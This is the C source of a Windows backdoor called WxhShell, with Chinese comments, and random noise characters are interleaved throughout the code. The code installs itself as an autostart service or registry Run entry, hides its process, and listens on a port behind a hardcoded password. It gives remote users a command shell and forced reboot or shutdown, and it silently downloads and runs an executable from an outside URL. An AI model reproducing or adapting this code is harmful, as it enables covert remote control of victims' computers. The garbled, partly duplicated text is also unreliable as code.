uK(6X *;)O'| PROCNTQSIP NtQueryInformationProcess; 3"zPG~fY{ a{L&RRJ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8Ji`wnkXe static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; j^5YFUwsQg [-VK!9pQ HANDLE hProcess; $ OG){'X PROCESS_BASIC_INFORMATION pbi; ,oUzaEX Z.&/,UU:4 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); O\ _ro. if(NULL == hInst ) return 0; >|c?ZqW 2*<Zc|uNW g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8h0C G] g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4Z>gK( NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Gh/nNwyu< #6vf:94 if (!NtQueryInformationProcess) return 0; %g:'6%26 Z1jxu;O( hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); f=k#o2 if(!hProcess) return 0; n?nzm "g v$0|\)E) if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "{r8'qn 4b[bj").A CloseHandle(hProcess); %L^( eTi[ h]h"-3 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _?:jZ1wZ if(hProcess==NULL) return 0; ;py9,Wno 5q*s_acQ HMODULE hMod; Ea&NJ]& g char procName[255]; {f\wIZ-K A unsigned long cbNeeded; L{P'mG=4 ZM})l9_o" if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \c<;!vkZ04 rH!sImz, CloseHandle(hProcess); _]33Ht9 }2@Z{5sh) if(strstr(procName,"services")) return 1; // 以服务启动 |,@D< E&
.^|<n return 0; // 注册表启动 D
h;5hu2" } }3A~ek#*~ y~\ujp_5w // 主模块 :>.{w$Ln% int StartWxhshell(LPSTR lpCmdLine) nKzm.D gt_ { %-yzU/`JF SOCKET wsl; ; ?f+ BOOL val=TRUE; o S= !6h int port=0; pJvPEKN struct sockaddr_in door; o_`6oC"s ^7wqb'xg if(wscfg.ws_autoins) Install(); 6FNGyvBU 'x{oAtCP9 port=atoi(lpCmdLine); {=3A@/vM zwZvKV/g if(port<=0) port=wscfg.ws_port; #lrwKHZ+ X+ITW# WSADATA data; 2zqaR[C if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; l>K+4 cN0
*< if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 1R3,Z8j' setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !DzeJWM| door.sin_family = AF_INET; #<< el;n door.sin_addr.s_addr = inet_addr("127.0.0.1"); L&DjNu`!9 door.sin_port = htons(port); Sc]K-]1(H iq*im$9J if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { pdRM%ug closesocket(wsl); ?/OF=C# return 1; ~*7$aj } E+i*u
o3dqsQE% if(listen(wsl,2) == INVALID_SOCKET) { )][U6 e closesocket(wsl); Ny2
Z
<TW return 1; LWv<mtuYf } '";#v.! Wxhshell(wsl); U@NCN2I WSACleanup(); n!4\w>h yf9"Rc~+ return 0; ^T!Zz"/: ,_u7@Ix }
I8? Q__CW5&'u // 以NT服务方式启动 {ogBoDS VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) p/-du^:2 { *rmC3'}s DWORD status = 0; ?4%H(k5A DWORD specificError = 0xfffffff; [(@K;6o -y-}g[` serviceStatus.dwServiceType = SERVICE_WIN32; 3A!a7]fW serviceStatus.dwCurrentState = SERVICE_START_PENDING; > O?WRCB serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `Y:]&w serviceStatus.dwWin32ExitCode = 0; PP$sdmo serviceStatus.dwServiceSpecificExitCode = 0; (M$0'BV0 serviceStatus.dwCheckPoint = 0; s{@R|5 serviceStatus.dwWaitHint = 0; G<e+sDQ2 q13fmK(n-5 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -*'
?D@l if (hServiceStatusHandle==0) return; 4>=M"DhB _ l|%~ status = GetLastError(); ~D9Cu>d9 if (status!=NO_ERROR) &^"Ru?MK { @v%Kw e1Q serviceStatus.dwCurrentState = SERVICE_STOPPED; YbU8 xq serviceStatus.dwCheckPoint = 0; 9!jPZn serviceStatus.dwWaitHint = 0; Mwnr4$] serviceStatus.dwWin32ExitCode = status; 0~fjY^( serviceStatus.dwServiceSpecificExitCode = specificError; 4C =W~6~ SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6^gp
/{ return; #"4ioTL2 } -5b|nQuY =@Oo3*> serviceStatus.dwCurrentState = SERVICE_RUNNING; \:4*h serviceStatus.dwCheckPoint = 0; )k=KLQ\b serviceStatus.dwWaitHint = 0; :')[pO_FW* if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); H ni^S } ML_VD*t9 2&V>pE // 处理NT服务事件,比如:启动、停止 fB3Jp~$ VOID WINAPI NTServiceHandler(DWORD fdwControl) pq{`WgA^ { @!P2f
switch(fdwControl) <2U@O`
gC { { KWVPeh case SERVICE_CONTROL_STOP: G1z*e.+y serviceStatus.dwWin32ExitCode = 0; Xj\ToO serviceStatus.dwCurrentState = SERVICE_STOPPED; :cC$1zv@ serviceStatus.dwCheckPoint = 0; Q]K` p( serviceStatus.dwWaitHint = 0; ,,{;G'R| { ~A=zjkm SetServiceStatus(hServiceStatusHandle, &serviceStatus); W<)P@_+- } 2|>\A.I|= return; 9~Dg<wQ case SERVICE_CONTROL_PAUSE: z?\it( serviceStatus.dwCurrentState = SERVICE_PAUSED; KQPu9f9 break; @PvO;]]% case SERVICE_CONTROL_CONTINUE: o^@"eG$, serviceStatus.dwCurrentState = SERVICE_RUNNING; 'GJB9i+a^ break; [h3xW case SERVICE_CONTROL_INTERROGATE: h9Far8} break; "r&,#$6W6 }; P$ o bID SetServiceStatus(hServiceStatusHandle, &serviceStatus); `DY
yK?R } ,s~l; Gkj 5?-HQoT)G // 标准应用程序主函数 "io O_ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) wmr?ANk { ^Gk`n zTg\\z; // 获取操作系统版本 XZIapT OsIsNt=GetOsVer(); 5.6tVr GetModuleFileName(NULL,ExeFile,MAX_PATH); (!nkv^] yNns6 // 从命令行安装 (t-hi8" if(strpbrk(lpCmdLine,"iI")) Install(); f)*"X[)o 6YM X7G] // 下载执行文件 iqDyE*a if(wscfg.ws_downexe) { }Ja-0v)Wf if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4`,(*igEv WinExec(wscfg.ws_filenam,SW_HIDE); Rml'{S } tY"eoPme 8zx]/> if(!OsIsNt) { %y6Q3@ // 如果时win9x,隐藏进程并且设置为注册表启动 ?),b902C HideProc(); |Vpp'ipr StartWxhshell(lpCmdLine); ~qghw@Q~ } +5zXbfO else 8S1@,O, if(StartFromService()) Pp_4B // 以服务方式启动 7S{qo&j' StartServiceCtrlDispatcher(DispatchTable); L"bJ#0m else |owr?tC // 普通方式启动 a4,V(Hlm StartWxhshell(lpCmdLine); i|^Q{3?o# !UT'4Fs return 0; ;@ePu } -8n1y[
aN0[6+KP; $f
=`fPo zq};{~u( =========================================== rwq eS8(HI6{^ 59Pc:Gg; c<$<n bB_LL T3{O+aRt " TWRP|i!i RCR= W6 #include <stdio.h> "h+Z[h6T #include <string.h> B"GC|}N)v #include <windows.h> *O_fw 0jV #include <winsock2.h> G8M~}I/) #include <winsvc.h> uuY^Q;^I* #include <urlmon.h> =<n ]T; DsHF9Mn #pragma comment (lib, "Ws2_32.lib") ZsP ^< #pragma comment (lib, "urlmon.lib") k$kE5kh,S GeR#B;{ #define MAX_USER 100 // 最大客户端连接数 xvTtA61Vp #define BUF_SOCK 200 // sock buffer Z@Rm^g]o #define KEY_BUFF 255 // 输入 buffer KR?;7*qF !P A:#]J #define REBOOT 0 // 重启 9<Pg2#*N0 #define SHUTDOWN 1 // 关机 l?m"o-Gp3 xTAfVN #define DEF_PORT 5000 // 监听端口 F1yn@a "=J );0 #define REG_LEN 16 // 注册表键长度 9kD#'BxC #define SVC_LEN 80 // NT服务名长度 8T3,56> g6Vkns4 // 从dll定义API "|3I|#s typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); doanTF4Da typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |=}+%>y_ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &ivU4rEG typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >#G%2Vp |Rfj
0+ // wxhshell配置信息 G+c&e:ip< struct WSCFG { tYD8Y int ws_port; // 监听端口 [7@blU char ws_passstr[REG_LEN]; // 口令 /]U$OP*0 int ws_autoins; // 安装标记, 1=yes 0=no
|#yu char ws_regname[REG_LEN]; // 注册表键名 if'=W6W char ws_svcname[REG_LEN]; // 服务名 kORWj< char ws_svcdisp[SVC_LEN]; // 服务显示名 /!Rva" char ws_svcdesc[SVC_LEN]; // 服务描述信息 x@
=p char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >fC&bab int ws_downexe; // 下载执行标记, 1=yes 0=no lD0p=`. char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" NN4Z:6W5 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 oKn$g[,SJh 1`8s
"T }; N?@^BZ J*zzjtY( 1 // default Wxhshell configuration Al
yJ!f"Y struct WSCFG wscfg={DEF_PORT, f+:iz'b#U "xuhuanlingzhe", 0C<\m\|~k 1, 85E$m'0O "Wxhshell", vU>^ "Wxhshell", \Tz|COG5h\ "WxhShell Service", XC3)#D#HGh "Wrsky Windows CmdShell Service", o9xc$hX} "Please Input Your Password: ", \'y]m B~k 1, ]t0o%w "http://www.wrsky.com/wxhshell.exe", 5Dkb/Iagi "Wxhshell.exe" s@L ;3WdO }; #*A&jo'E Nn_fhc> // 消息定义模块 WDw<kX 6p char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; B!&5*f}* char *msg_ws_prompt="\n\r? for help\n\r#>"; 1|sem(t char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; n{QyqI char *msg_ws_ext="\n\rExit."; 08ZvRy(Je< char *msg_ws_end="\n\rQuit."; V[.{cY?6 char *msg_ws_boot="\n\rReboot..."; SWdmej[ char *msg_ws_poff="\n\rShutdown..."; t=7Gfv char *msg_ws_down="\n\rSave to "; UuIjtqW :j]6vp6 char *msg_ws_err="\n\rErr!"; I{$suPk char *msg_ws_ok="\n\rOK!"; NCk-[I?R ,3?=W/Um4 char ExeFile[MAX_PATH]; "r6qFxY int nUser = 0; ]>~.U~ HANDLE handles[MAX_USER]; '
#K@%P int OsIsNt; J^"_H:1[ *9n[#2sM< SERVICE_STATUS serviceStatus; C@-Hm SERVICE_STATUS_HANDLE hServiceStatusHandle; =o(}=T>:" R,T 0!f // 函数声明 'ON/WKJr|W int Install(void); va@;V+cD int Uninstall(void); ;W{z"L;nX int DownloadFile(char *sURL, SOCKET wsh); 5j`sJvq int Boot(int flag); -)-:rRx- void HideProc(void); T.#_v#oM int GetOsVer(void); rRevyTs int Wxhshell(SOCKET wsl); 'wPX.h? void TalkWithClient(void *cs); ^$oa`B^2JM int CmdShell(SOCKET sock); k)knyEUi int StartFromService(void); nDn+lWA=g int StartWxhshell(LPSTR lpCmdLine); gxhp7c182 'N{1b_v? VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6O/ L~Z*t VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~;(\a@ _ cEHpa%_5 // 数据结构和表定义 IEm?'o: SERVICE_TABLE_ENTRY DispatchTable[] = u/W{JPlL { %ZRv+}z {wscfg.ws_svcname, NTServiceMain}, Z*Ffdh>*:& {NULL, NULL} :+YHj)mN }; yl>^QMmo -,
+o*BP // 自我安装 Yh]a4l0 int Install(void) Dml?.-Uv< { 9?Bh8%$ char svExeFile[MAX_PATH]; hEjvtfM9\- HKEY key; "0!#De
strcpy(svExeFile,ExeFile); 0faf4LzU! NL.3qx // 如果是win9x系统,修改注册表设为自启动 ok--Jyhv# if(!OsIsNt) { ]Z[3 \~? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ULew ~j RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U$D:gZ RegCloseKey(key); !wAnsK if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >XZ2w_ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2\{/|\ RegCloseKey(key); ]9@4P$I return 0; Rs<S}oeLn } qo9&e~Y<G } >0kL9_9{ } <2*+Y|Lk2 else { 23LG)or.JC K;/f?3q // 如果是NT以上系统,安装为系统服务 ,JH*l:7 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #NT~GhWFf if (schSCManager!=0) LEKE+775 { a3A-N] ;f SC_HANDLE schService = CreateService ^Ip\`2^u ( uEPm[oyX schSCManager, #p"F$@N wscfg.ws_svcname, '5$: #|- wscfg.ws_svcdisp, Il/`#b@h SERVICE_ALL_ACCESS, MeD/)T{ G~ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ft8 SERVICE_AUTO_START, ++2a xRl SERVICE_ERROR_NORMAL, [GknE#p svExeFile, UHY)+6qt] NULL, {(-TWh7V NULL, CEk[&39" NULL, 1
=?pL$+G NULL, J{Ij NULL 0Wd5s{S ); ,9|7{j|u if (schService!=0) j.Y!E<e4] { =[4C[s CloseServiceHandle(schService); (|W6p%( CloseServiceHandle(schSCManager); lS;S:-
-F strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); fk^DkV^< strcat(svExeFile,wscfg.ws_svcname); L%7WHtU*# if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4xx?x/q RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); cmf*BkS RegCloseKey(key); bAY>o return 0; #SLiv } o)
eW5s,6 } .Xta;Py|J CloseServiceHandle(schSCManager); cCtd\/ \ } qzD } K(mzt[n( w4y???90) return 1; 4>=Y@z } O6-"q+H) aLevml2:T // 自我卸载 j~2t^Qz
int Uninstall(void) -J!k|GK#MX { Iq;a!Lya- HKEY key; #$t93EI KG5B6Om5' if(!OsIsNt) { ng2yZ @$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 78z/D|{" RegDeleteValue(key,wscfg.ws_regname); D//Ts`}+n RegCloseKey(key); !Je!;mEvI if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q[Y*.%~ RegDeleteValue(key,wscfg.ws_regname); YWhS< }^ RegCloseKey(key); 1p>&j%dk return 0; b#e|#!Je } @(st![i+ } Q!Dr3x } %gEfG#S else { +DT)7koA xI=[=;L SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !]f:dWSLB if (schSCManager!=0) [aC2ktI { h1_KZ[X SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); jK=-L#hz if (schService!=0) eR1]<Z$W\ { =uR[Jewa if(DeleteService(schService)!=0) { a67NWH CloseServiceHandle(schService); Xo4K!U>TzZ CloseServiceHandle(schSCManager); ( (mNB]sy return 0; ;#D:S6 L } %}~Ncn_r CloseServiceHandle(schService); `_e 1LEH } $uNYus^vS CloseServiceHandle(schSCManager); }WkR-5N } ?6^KY+ 5`C } *O-si%@] Y6%O 9b return 1; zI>,A|yy } CI?M2\<g D #twS // 从指定url下载文件 _Ai\XS
Am int DownloadFile(char *sURL, SOCKET wsh) tdRnRoB { 5E|/n( HRESULT hr; 5@Lz4 ` char seps[]= "/"; +Y^/0=6h char *token; eYjr/`>O char *file; UD r@ char myURL[MAX_PATH]; Yg7C"3;Vt char myFILE[MAX_PATH]; :] +D+[c) k!,&L$sG strcpy(myURL,sURL); \\Huk*Jn{ token=strtok(myURL,seps); xqzdXL} while(token!=NULL) @xtfm.} { au1(.( file=token; C@
z^{Z+ token=strtok(NULL,seps); ^RS`q+g } |N>TPK&Xt ?G!DYUK GetCurrentDirectory(MAX_PATH,myFILE); VJ(#FA2 strcat(myFILE, "\\"); w+owx(mN@ strcat(myFILE, file); #PRkqg+| send(wsh,myFILE,strlen(myFILE),0); Ih0kdi send(wsh,"...",3,0); bjJ212J hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <yrl_vl{ if(hr==S_OK) '%9e8C| return 0; <[GkhPfZ else -i?-Xj#% return 1; |q\:3R_0 a2un[$Jq` } :u53zX[v Q<pL5[00fD // 系统电源模块 6jtnH'E/ int Boot(int flag) &P{[22dQ { 5Y97?n+6 HANDLE hToken; jz;"]k TOKEN_PRIVILEGES tkp; F.JvMy3 S2fBZ=V8 if(OsIsNt) { 5 eWGX OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); A|d(5{:N LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Lm }:` tkp.PrivilegeCount = 1; VS \~t tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; qMe$Qr8 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9rmOf Jo: if(flag==REBOOT) { It@.U| if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Z tfPB return 0; 7.l[tKh } g k[8' else { LN?W~^gsR if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) TM|ycS' return 0; u>.qhtm[ } q G%'Lt } G u-#wv5@ else { R"=pAO.4l if(flag==REBOOT) { xeX Pc7JG if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >{^&;$G+* return 0; W`^Zb[ } V1j5jjck else { qJN2\e2~f if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <x),HTJ return 0; Hb;#aXHSd } *.J)7~(P } #yk
m ]QS?fs Z return 1; +idj,J| } *s9
+ 'lym^^MjL+ // win9x进程隐藏模块 yb#NB)+E@ void HideProc(void) -q BrJ1* { Vx^+Z,y&QP E8~Bp-G) HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~%QVjzMC if ( hKernel != NULL ) RAQi&?Ko { COa"zg pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _kb
$S ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); A-&C.g FreeLibrary(hKernel); [ENm(e$sI } &!#a^d+` 0 .j}dk.#h return; pN"d~Z8 } DUxj^,mf, ;_GS<[A3 // 获取操作系统版本 ^xO
CT=V int GetOsVer(void) K_4}N%P/)) { uFIr.U$V OSVERSIONINFO winfo; ^E8XPK]-~ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @O/-~,E68 GetVersionEx(&winfo); %W=S*"e- if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <8>gb!D G return 1; ~
FW@ else ?1Lzbou return 0; 1O0o18' } 5uuZ t0V\ vl<W`)' // 客户端句柄模块 QcGyuS.B int Wxhshell(SOCKET wsl) 1;R1Fj& { V6Y:l9 SOCKET wsh; $UAmUQg)}_ struct sockaddr_in client; CxC&+'; DWORD myID; LoQm&3/ #N?EPV$ while(nUser<MAX_USER) xZ }1dq8 { +^
n\?! int nSize=sizeof(client); j^}p'w Tu{ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); J)iy6{0" if(wsh==INVALID_SOCKET) return 1; WhsTKy&E jemg#GB8 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); q"@Y2lhD! if(handles[nUser]==0) o[W7'1O closesocket(wsh); '-tiH else C d)j% nUser++; E=.4(J7K } 4~8++b1/; WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _Kg:jal j()<.h;' return 0; +(*S@V$c } ;#G)([ A>8uLO G} // 关闭 socket .olDmFQD void CloseIt(SOCKET wsh) TOp|Qtn { GtRc7, closesocket(wsh); r7r>1W%4 nUser--; U)%gzXTZ% ExitThread(0); x'OE},>i } s_A<bW566F /(Se:jH$> // 客户端请求句柄 %]Gm void TalkWithClient(void *cs) wiXdb[[# { 8_6\>hW& e#MEDjm/)g SOCKET wsh=(SOCKET)cs; lL.3$Rp; char pwd[SVC_LEN]; c0.i char cmd[KEY_BUFF]; dHV3d'.P char chr[1]; &R:$h*Wt| int i,j; y<bA Y_-[ 2yk32| while (nUser < MAX_USER) { 6vySOVMj |[/[*hDZ9 if(wscfg.ws_passstr) { Z&gM7Zo8 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z;GR(;w/ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c`94a SnV //ZeroMemory(pwd,KEY_BUFF); D3s]49j) i=0; pZ?7'+u$L while(i<SVC_LEN) { ~wmc5L/!? x}t,v.: // 设置超时 #'N"<o[ fd_set FdRead; RHc63b\ struct timeval TimeOut; w,fA-*bZ 0 FD_ZERO(&FdRead); 5|>FM& FD_SET(wsh,&FdRead); jdsN ZV TimeOut.tv_sec=8; AV\6K;~ TimeOut.tv_usec=0; ^sR]w]cz. int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8.4 1EKr2 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); J0@<6~V6o d?G~k[C!a if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #?/&H;n_8S pwd=chr[0]; [EUp4%Z # if(chr[0]==0xd || chr[0]==0xa) { fG2hCP+ pwd=0; B2\R#&X. break; a[;TUc^I1F } bkfwsYZx i++; =~M%zdIXv }
<WN? eYd6~T[9 // 如果是非法用户,关闭 socket i`-,=RJ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); rxZ%vzVQ> } LWQ.!;HY p R4+Gmx1 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); G9y
0;br send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v0762w $I40 hk while(1) { ]PQ] f*Ik> n\8;4]n ZeroMemory(cmd,KEY_BUFF); 0'T*l2Z`2 gFR9!=,/V% // 自动支持客户端 telnet标准 AnK-\4 j=0; 5g9lO]WDI while(j<KEY_BUFF) { 4FK|y&p4r if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oG5:]/F cmd[j]=chr[0]; q3a`Y)aVB if(chr[0]==0xa || chr[0]==0xd) { FV>j
!>Y cmd[j]=0; am>X7 break; R%)ZhG*
} [J4
Aig j++; P70\ |M0~y } DA'A-C2 \LX!n!@ // 下载文件 )c
vA}U.z if(strstr(cmd,"http://")) { rv>K0= t0 send(wsh,msg_ws_down,strlen(msg_ws_down),0); )NG{iD{_] if(DownloadFile(cmd,wsh)) %Z|]"=;6 send(wsh,msg_ws_err,strlen(msg_ws_err),0); nO{@p_3mi else r83chR9 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .I%p0ds1r } cR.[4rG' else { '\yp}r'u 0Y7b$~n'Y switch(cmd[0]) { Xq"@Z B^'Uh+Y // 帮助 x|B$n} B case '?': { HF@K$RPK send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3,qq\gxB break; ^zjQ(ca@"x } 0@;kD]Z // 安装 ZZ 1s}TG case 'i': { -&87nR(eW if(Install()) VT.BHZ send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^<L;"jl% else 1o5DQ'~n send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6n9;t\'Gt break; -P!_<\q\l } TUeW-'/1 // 卸载 7bBOV(/s case 'r': { 56!>}!8! if(Uninstall()) -]=-IiC# send(wsh,msg_ws_err,strlen(msg_ws_err),0); rN3i5.*/t else sD V*k4 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Efo,5 break; qucw%hJ r } PVBf' // 显示 wxhshell 所在路径 8ut:cCrmg case 'p': { b?&=gm%oU char svExeFile[MAX_PATH]; zPwU'TbF strcpy(svExeFile,"\n\r"); YLc 2:9 strcat(svExeFile,ExeFile); `V N $
S send(wsh,svExeFile,strlen(svExeFile),0); "]BefvE break; 4fe$0mye } )u{)"m`&[J // 重启 <.c@l,[.z case 'b': { JDO5eEwj send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); z?C;z7eT if(Boot(REBOOT)) p)M\q fZ send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~z''kH=e
else { ~r`~I"ZK7^ closesocket(wsh); f@roRn8p? ExitThread(0); XxT7YCi } Bsm>^zZ`YU break; ,l[h9J } mi~BdBv // 关机 79J@` case 'd': { 0(9]m)e send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); BV=L.* if(Boot(SHUTDOWN)) LM_/: send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pw4j?pv2 else { p_hljgOV closesocket(wsh); *|c*/7]< ExitThread(0); mPR(4Ol. } t
>89(
k break; ^/+0L[R } 7h?yAgDv~ // 获取shell r.e,!B s case 's': { U].u) g$ CmdShell(wsh); j[/'`1tOe closesocket(wsh); m.~&n!1W*` ExitThread(0); $mA+4ISK break;
<,~
=o
} h-VpX6 // 退出 q9n0bw^N case 'x': { 51oZw%os= send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5BKmp-m CloseIt(wsh); y%T5"p$, break; {b@rQCre7 } 4_,l[BhsQG // 离开 /Cd`h;#@ case 'q': { ],r?]> send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7#Qa/[? D closesocket(wsh); -C$Z%I7 0 WSACleanup(); /*GRE#7S exit(1);
[kqxC break; SfE^'G\ } W-Cf#o } >/Z#{;kOz } Meh?FW||5 qL^}t_> // 提示信息 v | /IN if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0D1yG(ck } x{io*sY- } mY9u/;dK YWA:741 return; 4+mawyM } b~ ?TDm7 R6 wK' // shell模块句柄 2aUz.k8o int CmdShell(SOCKET sock) ?V_Qa0k { "m]"%MU78 STARTUPINFO si; zO>N 3pMv ZeroMemory(&si,sizeof(si)); eafy5vN[zX si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &/lJ7=Nq si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; G)l[\6Dn PROCESS_INFORMATION ProcessInfo; qx5X2@-;: char cmdline[]="cmd"; pj,.RcH@o CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _C?<re3* return 0; |7Z,z0 ?V } >vg!<%]W] 9/w'4bd // 自身启动模式 l;>#O int StartFromService(void) V"VWHAu*.w { %+$P<Rw7 typedef struct xJ9_#$ngeM { 96F:%|yG DWORD ExitStatus; @18@[ :d" DWORD PebBaseAddress; xM%E; DWORD AffinityMask; {xt<`_R DWORD BasePriority; yy?|q0 ULONG UniqueProcessId; G?QFF6)}! ULONG InheritedFromUniqueProcessId; jG{}b6 } PROCESS_BASIC_INFORMATION; S>7Zq5* e4NT PROCNTQSIP NtQueryInformationProcess; @u/<^j3Q h~elF1dG static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; t Zj6=# static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #ITx[X89| TMG:fg&E~ HANDLE hProcess; \E.t=XBn PROCESS_BASIC_INFORMATION pbi; e%G-+6 ~0?p @8 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {mL/)\ if(NULL == hInst ) return 0; f7X#cs)a &tZ?%sr g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); UA,&0.7 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); MCQ>BP NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); lf|e8kU\f U6X~]| o if (!NtQueryInformationProcess) return 0; 'KQ]7 MvY0?!v
